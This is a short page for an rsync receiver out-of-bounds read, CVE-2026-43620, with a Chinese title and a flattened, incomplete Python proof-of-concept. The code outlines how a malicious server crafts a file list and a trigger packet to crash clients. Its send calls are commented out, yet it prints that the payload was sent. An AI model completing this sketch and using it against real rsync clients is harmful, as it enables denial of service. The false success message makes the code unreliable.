CVE-2026-43620 Rsync接收端越界读取导致崩溃漏洞

import socket import struct def send_exploit_payload(client_sock): """ PoC for CVE-2026-43620 Simulates a malicious rsync server to trigger the OOB read. """ # 1. Handshake: Ensure CF_INC_RECURSE is negotiated in the protocol flags. # This requires protocol manipulation during the initial connection setup. # 2. Send Crafted File List # The first entry in the sorted list must NOT be the leading dot directory ('.') # Normally '.' is first. We send a list like ['file1', 'file2'] without '.'. # file_list_data = pack_file_list(['malicious_file']) # client_sock.send(file_list_data) # 3. Send Trigger Packet # Construct a packet with ndx=0 and iflags missing ITEM_TRANSFER. # This causes the receiver to access file_pool[-1]. ndx = 0 # Example iflags value without ITEM_TRANSFER (e.g. 0x00 or specific flags) # Assuming ITEM_TRANSFER is a specific bit not set here. iflags = 0x00 # Construct the multiplexed packet (simplified rsync protocol structure) # payload = struct.pack('>I', ndx) + struct.pack('>I', iflags) # pkt = make_rsync_packet(payload) # client_sock.send(pkt) print("[+] Exploit payload sent to trigger SIGSEGV.") # Note: This code needs to be integrated into a functioning rsync server # simulation that handles the protocol handshake to set CF_INC_RECURSE.